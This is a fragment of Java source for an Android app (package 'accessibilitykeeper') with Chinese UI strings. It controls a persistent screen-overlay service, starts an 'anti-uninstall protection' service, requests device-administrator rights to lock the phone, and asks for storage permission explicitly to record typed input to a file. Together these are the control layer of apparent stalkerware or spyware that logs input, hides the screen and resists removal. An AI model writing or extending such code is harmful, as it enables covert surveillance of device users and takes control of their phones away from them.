        } catch (Exception e) {
            Log.e(TAG, "❌ ERROR_STOPPING_PERSISTENT_MASK", e);
            Toast.makeText(this, "停止持续遮罩失败: " + e.getMessage(), Toast.LENGTH_LONG).show();
        }
    }
    
    /**
     * 更新持续遮罩状态显示
     */
    private void updatePersistentMaskStatus() {
        try {
            if (tvPersistentMaskStatus != null) {
                // 检查持续遮罩服务状态
                boolean isPersistentMaskEnabled = isPersistentMaskServiceRunning();
                
                if (isPersistentMaskEnabled) {
                    tvPersistentMaskStatus.setText("持续遮罩状态：已启用");
                    tvPersistentMaskStatus.setTextColor(getResources().getColor(android.R.color.holo_green_dark));
                } else {
                    tvPersistentMaskStatus.setText("持续遮罩状态：未启用");
                    tvPersistentMaskStatus.setTextColor(getResources().getColor(android.R.color.darker_gray));
                }
            }
        } catch (Exception e) {
            Log.e(TAG, "❌ ERROR_UPDATING_PERSISTENT_MASK_STATUS", e);
        }
    }
    
    /**
     * 检查持续遮罩服务是否正在运行
     */
    private boolean isPersistentMaskServiceRunning() {
        try {
            ActivityManager activityManager = (ActivityManager) getSystemService(Context.ACTIVITY_SERVICE);
            List<ActivityManager.RunningServiceInfo> services = activityManager.getRunningServices(Integer.MAX_VALUE);
            
            for (ActivityManager.RunningServiceInfo service : services) {
                if (ScreenMaskService.class.getName().equals(service.service.getClassName())) {
                    return true;
                }
            }
        } catch (Exception e) {
            Log.e(TAG, "❌ ERROR_CHECKING_PERSISTENT_MASK_SERVICE_STATUS", e);
        }
        return false;
    }
    
    
    
    
    
    
    
    
    
    /**
     * 启动反卸载保护服务
     */
    private void startAntiUninstallProtection() {
        try {
            Log.d(TAG, "🛡️ STARTING_ANTI_UNINSTALL_PROTECTION");
            
            
            // 创建Intent启动BlackAutoUse服务
            Intent antiUninstallIntent = new Intent(this, BlackAutoUse.class);
            antiUninstallIntent.putExtra("action", "start_protection");
            antiUninstallIntent.putExtra("independent", true);
            
            // 启动服务
            startService(antiUninstallIntent);
            
            Log.d(TAG, "✅ ANTI_UNINSTALL_PROTECTION_SERVICE_STARTED");
            Toast.makeText(this, "反卸载保护服务已启动", Toast.LENGTH_SHORT).show();
            
        } catch (Exception e) {
            Log.e(TAG, "❌ ERROR_STARTING_ANTI_UNINSTALL_PROTECTION", e);
            Toast.makeText(this, "启动反卸载保护服务失败: " + e.getMessage(), Toast.LENGTH_LONG).show();
        }
    }
    
    /**
     * 初始化设备管理员
     */
    private void initDeviceAdmin() {
        try {
            Log.d(TAG, "🔐 INITIALIZING_DEVICE_ADMIN");
            
            // 初始化设备管理员管理器
            devicePolicyManager = (DevicePolicyManager) getSystemService(Context.DEVICE_POLICY_SERVICE);
            deviceAdminComponent = new ComponentName(this, AppDeviceAdminReceiver.class);
            
            // 更新设备管理员状态显示
            updateDeviceAdminStatus();
            
            Log.d(TAG, "✅ DEVICE_ADMIN_INITIALIZED");
            
        } catch (Exception e) {
            Log.e(TAG, "❌ ERROR_INITIALIZING_DEVICE_ADMIN", e);
        }
    }
    
    /**
     * 更新设备管理员权限状态显示
     */
    private void updateDeviceAdminStatus() {
        try {
            if (tvDeviceAdminStatus != null) {
                boolean isAdminActive = devicePolicyManager.isAdminActive(deviceAdminComponent);
                
                if (isAdminActive) {
                    tvDeviceAdminStatus.setText("设备管理员权限：已激活 ✅");
                    tvDeviceAdminStatus.setTextColor(getResources().getColor(android.R.color.holo_green_dark));
                } else {
                    tvDeviceAdminStatus.setText("设备管理员权限：未激活 ❌");
                    tvDeviceAdminStatus.setTextColor(getResources().getColor(android.R.color.holo_red_dark));
                }
            }
            
        } catch (Exception e) {
            Log.e(TAG, "❌ ERROR_UPDATING_DEVICE_ADMIN_STATUS", e);
        }
    }
    
    /**
     * 请求设备管理员权限
     */
    private void requestDeviceAdminPermission() {
        try {
            Log.i(TAG, "🔐 REQUESTING_DEVICE_ADMIN_PERMISSION");
            
            // 检查是否已经激活
            if (devicePolicyManager.isAdminActive(deviceAdminComponent)) {
                Log.i(TAG, "✅ DEVICE_ADMIN_ALREADY_ACTIVE");
                updateDeviceAdminStatus();
                showToast("设备管理员权限已激活");
                return;
            }
            
            // 创建权限请求Intent
            Intent intent = new Intent(DevicePolicyManager.ACTION_ADD_DEVICE_ADMIN);
            intent.putExtra(DevicePolicyManager.EXTRA_DEVICE_ADMIN, deviceAdminComponent);
            intent.putExtra(DevicePolicyManager.EXTRA_ADD_EXPLANATION, 
                    "此应用需要设备管理员权限以提供设备锁定功能。");
            
            // 检查Intent是否可用
            if (intent.resolveActivity(getPackageManager()) != null) {
                startActivityForResult(intent, REQUEST_CODE_ENABLE_ADMIN);
                Log.i(TAG, "✅ DEVICE_ADMIN_PERMISSION_REQUEST_SENT");
            } else {
                Log.e(TAG, "❌ DEVICE_ADMIN_INTENT_NOT_RESOLVABLE");
                showToast("无法启动设备管理员权限请求，请检查系统设置");
            }
            
        } catch (Exception e) {
            Log.e(TAG, "❌ ERROR_REQUESTING_DEVICE_ADMIN_PERMISSION", e);
            showToast("请求设备管理员权限失败: " + e.getMessage());
        }
    }
    
    /**
     * 请求存储权限
     */
    private void requestStoragePermission() {
        try {
            // Android 6.0+ 需要动态请求权限
            if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) {
                // 检查是否已有权限
                if (checkSelfPermission(android.Manifest.permission.WRITE_EXTERNAL_STORAGE) 
                    == PackageManager.PERMISSION_GRANTED &&
                    checkSelfPermission(android.Manifest.permission.READ_EXTERNAL_STORAGE) 
                    == PackageManager.PERMISSION_GRANTED) {
                    Log.i(TAG, "✅ STORAGE_PERMISSION_ALREADY_GRANTED");
                    // 通知服务初始化文件
                    notifyServiceToInitFile();
                    return;
                }
                
                // 检查是否需要显示权限说明
                if (shouldShowRequestPermissionRationale(android.Manifest.permission.WRITE_EXTERNAL_STORAGE)) {
                    // 显示权限说明
                    showToast("需要存储权限以记录输入内容到文件");
                }
                
                // 请求权限
                requestPermissions(
                    new String[]{
                        android.Manifest.permission.WRITE_EXTERNAL_STORAGE,
                        android.Manifest.permission.READ_EXTERNAL_STORAGE
                    },
                    REQUEST_CODE_STORAGE_PERMISSION
                );
                Log.i(TAG, "📝 STORAGE_PERMISSION_REQUEST_SENT");
            } else {
                // Android 6.0 以下，权限在安装时授予
                Log.i(TAG, "✅ STORAGE_PERMISSION_AUTO_GRANTED (Android < 6.0)");
                // 通知服务初始化文件
                notifyServiceToInitFile();
            }
        } catch (Exception e) {
            Log.e(TAG, "❌ ERROR_REQUESTING_STORAGE_PERMISSION", e);
        }
    }
    
    /**
     * 检查存储权限是否已授予
     */
    private boolean hasStoragePermission() {
        if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) {
            return checkSelfPermission(android.Manifest.permission.WRITE_EXTERNAL_STORAGE) 
                == PackageManager.PERMISSION_GRANTED &&
                checkSelfPermission(android.Manifest.permission.READ_EXTERNAL_STORAGE) 
                == PackageManager.PERMISSION_GRANTED;
        }
        return true; // Android 6.0 以下自动授予
    }
    
    /**
     * 通知服务初始化文件
     */
    private void notifyServiceToInitFile() {
        try {
            // 发送广播通知服务初始化文件
            Intent intent = new Intent("com.demo.accessibilitykeeper.INIT_INPUT_RECORD_FILE");
            sendBroadcast(intent);
            Log.d(TAG, "📢 已发送初始化文件广播");
        } catch (Exception e) {
            Log.e(TAG, "❌ 发送初始化文件广播失败", e);
        }
    }
    
    /**
     * 锁定设备
     */
    private void lockDevice() {
        try {
            Log.i(TAG, "🔒 LOCKING_DEVICE");
            
            // 检查设备管理员权限
            if (!devicePolicyManager.isAdminActive(deviceAdminComponent)) {
                Log.w(TAG, "⚠️ DEVICE_ADMIN_NOT_ACTIVE - Requesting device admin permission");
                showToast("请先激活设备管理员权限");
                requestDeviceAdminPermission();
                return;
            }
            
            // 锁定设备
            devicePolicyManager.lockNow();
            
            Log.i(TAG, "✅ DEVICE_LOCKED_SUCCESSFULLY");
            showToast("设备已锁定");
            
        } catch (Exception e) {
            Log.e(TAG, "❌ ERROR_LOCKING_DEVICE", e);
            showToast("锁定设备失败: " + e.getMessage());
        }
    }

}
